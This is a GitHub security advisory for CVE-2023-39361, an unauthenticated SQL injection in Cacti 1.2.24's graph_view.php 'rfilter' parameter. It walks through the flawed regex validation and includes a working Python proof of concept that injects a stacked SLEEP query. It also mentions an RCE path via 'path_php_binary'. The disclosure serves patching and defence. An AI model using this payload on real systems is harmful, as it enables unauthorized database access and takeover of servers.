Skip to content

Unauthenticated SQL Injection when viewing graphs

Critical
netniV published GHSA-6r43-q2fw-5wrg Sep 5, 2023

Package

Cacti

Affected versions

1.2.24

Patched versions

1.2.25, 1.3.0

Description

Summary

During the review of this project, a SQL injection vulnerability was discovered in graph_view.php. Since guest users can access graph_view.php without authentication by default, if guest users are being utilized in an enabled state, there could be the potential for significant damage. Attackers may exploit this vulnerability, and there may be possibilities for actions such as the usurpation of administrative privileges or remote code execution.

Details

The vulnerability resides within the grow_right_pane_tree function, invoked from the graph_view.php file. In the tree_content case, user input is validated through the html_validate_tree_vars function, and subsequently, the grow_right_pane_tree function is called if the tree_id parameter is greater than 0.

graph_view.php
switch (get_nfilter_request_var('action')) {
// ...
case 'tree_content':
	html_validate_tree_vars();

	// ...

	if ($tree_id > 0) {
		if (!is_tree_allowed($tree_id)) {
			header('Location: permission_denied.php');
			exit;
		}

		grow_right_pane_tree($tree_id, $node_id, $hgdata);
	}

The grow_right_pane_tree function directly uses the user input parameter rfilter in the WHERE clause with RLIKE as follows. The rfilter parameter is validated in the html_validate_tree_vars function of graph_view.php, but this validation only ensures that rfilter is correct as a regular expression and does not guarantee that it does not contain SQL code.

lib/html_tree.php
function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) {
	// ...
	if (($leaf_type == 'header') || (empty($leaf_id))) {
		$sql_where = '';

		if (get_request_var('rfilter') != '') {
			$sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';
		}
		// ...

		$graph_list = get_allowed_tree_header_graphs($tree_id, $leaf_id, $sql_where);

}

Let's examine how the rfilter parameter is validated. The html_validate_tree_vars function sets the filter type to FILTER_VALIDATE_IS_REGEX and calls the validate_store_request_vars function.

lib/html_tree.php
function html_validate_tree_vars() {
	// ...
	/* ================= input validation and session storage ================= */
	$filters = array(
		// ...
		'rfilter' => array(
			'filter'  => FILTER_VALIDATE_IS_REGEX,
			'pageset' => true,
			'default' => '',
			),
		// ...
	);

	validate_store_request_vars($filters, 'sess_grt');

validate_store_request_vars is a function that verifies user input based on the set filter type. If the filter type is FILTER_VALIDATE_IS_REGEX, the validate_is_regex function checks if the value is a valid regular expression. The validate_is_regex function inserts user input into preg_match to verify that it is a valid regular expression. Note that single quotation marks are used as the delimiter for the regular expression. This delimiter is the only protection that the FILTER_VALIDATE_IS_REGEX filter offers against SQL injection. It becomes difficult to escape from the WHERE clause and insert an SQL statement since the delimiter character must be escaped within the regular expression.

lib/html_utility.php
function validate_store_request_vars(array $filters, string $sess_prefix = ''):void {
	// ...

	if (cacti_sizeof($filters)) {
		foreach ($filters as $variable => $options) {
			// Establish the session variable first
			if ($sess_prefix != '') {
				// ...
			} else {
				if (get_nfilter_request_var($variable) == '0') {
				// ...
				} elseif ($options['filter'] == FILTER_VALIDATE_IS_REGEX) {
					if (is_base64_encoded($_REQUEST[$variable])) {
						$_REQUEST[$variable] = base64_decode($_REQUEST[$variable], true);
					}

					$valid = validate_is_regex($_REQUEST[$variable]);

					if ($valid === true) {
						$value = $_REQUEST[$variable];
					} else {
						$value        = false;
						$custom_error = $valid;
					}

// ...

function validate_is_regex($regex) {
	// ...

	if (@preg_match("'" . $regex . "'", NULL) !== false) {
		ini_set('track_errors', $track_errors);
		return true;
	}

However, in the grow_right_pane_tree function, double quotation marks are used for the RLIKE quotes. This means that the user input validation is not functioning at all. Attackers may insert SQL code into the rfilter parameter in such a way that it forms a valid regular expression, enabling SQL injection attacks.

lib/html_tree.php
function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) {
	// ...
	$sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';

PoC

By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection.

import argparse
import requests
import sys
import urllib3

#import os
#os.environ['http_proxy'] = 'http://localhost:8080'

sleep_time = 10
payload = f""""OR ""="(("));SELECT SLEEP({sleep_time});-- -"""

def exploit():
    url = f"{target}/graph_view.php"

    params = {
        "action":"tree_content",
        "node":"1-1-tree_anchor",
        "rfilter":payload
    }

    print('[+] Sending payload...')
    print(f"[+] Payload: {payload}")
    session.get(url,params=params)
    
if __name__=='__main__':
    urllib3.disable_warnings()
    parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graph_view.php 'rfilter' SQL Injection (guest access)")
    parser.add_argument('-t','--target',help='',required=True)
    args = parser.parse_args()
    
    target = args.target
    session = requests.Session()

    exploit()

poc
burp

Impact

This vulnerability presents a significant risk as it allows for unauthenticated access to the SQL injection vulnerability. Since guest users can access the affected graph_view.php page without authentication, attackers may exploit this vulnerability to usurp administrative privileges and execute remote code, potentially compromising the system's integrity and confidentiality.
As the application accepts stacked queries, it is possible to achieve remote code execution by altering the 'path_php_binary' value in the database. This could result in significant damage, especially if guest users are being utilized in an enabled state. The potential actions that could be performed by an attacker include the usurpation of administrative privileges or remote code execution, leading to unauthorized control and access over the system.

Severity

Critical
9.8
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2023-39361

Weaknesses

Credits